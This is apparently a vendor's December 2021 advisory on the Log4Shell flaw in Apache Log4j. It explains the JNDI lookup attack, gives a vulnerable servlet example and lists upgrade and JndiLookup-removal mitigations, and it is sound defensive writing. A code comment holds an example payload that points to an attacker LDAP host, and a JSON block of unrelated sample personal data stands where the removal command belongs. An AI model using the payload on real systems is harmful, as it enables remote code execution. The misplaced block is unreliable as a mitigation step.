Log4Shell: Apache Log4j Vulnerability

December 13, 2021

Log4Shell: Apache Log4j Vulnerability

Apache Log4j is a popular logging library used across the JVM ecosystem. On Dec 10 2021, a high severity vulnerability was disclosed, dubbed Log4Shell. If you are using a version of Log4j between 2.0 and 2.16.0, multiple vulnerabilities, including an RCE (Remote Code Execution) attack and multiple different DoS (Denial of Service) attacks become possible.

Using a vulnerable Log4j version paves the way for multiple attacks: an attacker can perform a malicious Java Naming and Directory Interface (JNDI) object lookup to chain other exploits, or induce the application to process a malicious template string resulting in a DoS attack if your code logs request data such as a user agent header.

Here is an example of this issue using a servlet:

 
@WebServlet(value="/some/path", name="vulnerableServlet")
public class VulnerableServlet extends HttpServlet {
    private static final Logger logger = LogManager.getLogger(
        VulnerableServlet.class.getName()
    );

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException {
        String userAgent = req.getHeader("user-agent");
        // will trigger an RCE exploit if the user agent contains a JNDI scheme url.
        // Here, the target is a malicious LDAP server.
        // For example: ${jndi:ldap://attacker.com/a}
        logger.info("Request user agent is " + userAgent);
    }
}

How you can fix Log4Shell

Upgrade to Log4j 2.15.0 2.16.0 2.17.0. Log4j's latest version, 2.17.0 fixes this issue. However, if you're unable to upgrade to it for some reason, there are other measures you can take.
EDIT Log4j's version 2.15.0 was found to still be vulnerable to attacks in certain contexts. While the mitigation of removing the JndiLookup class from your application will still prevent the exploit, it is recommended that 2.16.0 be used going forward. Log4j release 2.16.0 completely disables the use of lookup strings and JNDI functionality itself.
EDIT 2 Version 2.16.0 still allows DoS attacks to occur with certain configurations.
Remove the JndiLookup class from your application's classpath. This vulnerability exploits Log4j's ability to parse JNDI lookup urls interpolated in logged strings. This is safe, but will not protect from DoS attacks that can also be performed. The JndiLookup class can be removed by deleting the JndiLookup.class file from your copy of the Log4j core JAR file.

 
{
  "id": 1,
  "first_name": "abc",
  "last_name": "xyz",
  "email": "abcxyz@360.cn",
  "gender": "Male",
  "ip_address": "163.213.59.129"
}

Note that this may need to be applied for every release of your application if you make use of fat jars in your deployment. It may be better to upgrade your Log4j version in such cases.

NOTE: It is not recommended to rely on setting properties such as log4j2.formatMsgNoLookups to fix this issue. While doing so was previously advertised as a mitigation, the actual attack surface is far wider than can be covered through the use of such flags.

Remediating Log4Shell with DeepSource

We've added a new issue, JAVA-A0122, in our Java analyzer to detect if your code base is possibly impacted by Log4Shell. As a proactive measure, we have triggered analysis on all Java repositories that have DeepSource activated. If your code requires changes due to Log4Shell, you should see this issue in the Issues tab of your repository dashboard.

If you're not a DeepSource user yet, get started by creating a free account and analyzing your Java repository.